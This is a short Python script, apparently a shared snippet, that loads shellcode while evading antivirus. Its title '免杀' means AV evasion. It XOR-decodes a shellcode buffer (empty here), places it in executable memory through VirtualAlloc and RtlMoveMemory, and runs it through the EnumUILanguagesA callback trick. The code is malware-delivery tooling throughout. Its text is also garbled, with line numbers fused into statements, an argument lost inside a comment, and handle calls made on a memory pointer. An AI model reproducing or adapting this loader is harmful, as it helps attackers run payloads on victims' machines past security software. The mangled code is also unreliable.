免杀 回调函数[EnumUILanguagesA]

1# -*- coding: utf-8 -*-
2# @Time : 2022-01-19 22:12
3   # @Author : ILU
4   # @File : EnumUILanguagesA.py
5
6   import ctypes
7
8   sc = b''.decode()
9   key = 50
10buf = [ord(sc[i]) ^ key for i in range(len(sc))]
11buf = bytearray(buf)
12kernel32 = ctypes.windll.kernel32
13kernel32.VirtualAlloc.restype = ctypes.c_uint64
14ptr = kernel32.VirtualAlloc(
15ctypes.c_int(0),
16ctypes.c_int(len(buf)),
17ctypes.c_int(0x00001000), # #define MEM_COMMIT 0x0000100018ctypes.c_int(0x40)  # #define

19)
20buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
21kernel32.RtlMoveMemory(
22ctypes.c_uint64(ptr),
23buffer,
24ctypes.c_int(len(buf))
25)
26kernel32.EnumUILanguagesA(ctypes.c_char_p(ptr), ctypes.c_int16(0), ctypes.c_int16(0))27# 等待运行的线程关闭再关闭程序，-1为INFINITE无限等待的意思
28# 第一个参数：线程句柄
29# 第二个参数: 等待时间
30kernel32.WaitForSingleObject(ctypes.c_uint64(ptr), ctypes.c_int(-1))

31kernel32.CloseHandle(ptr)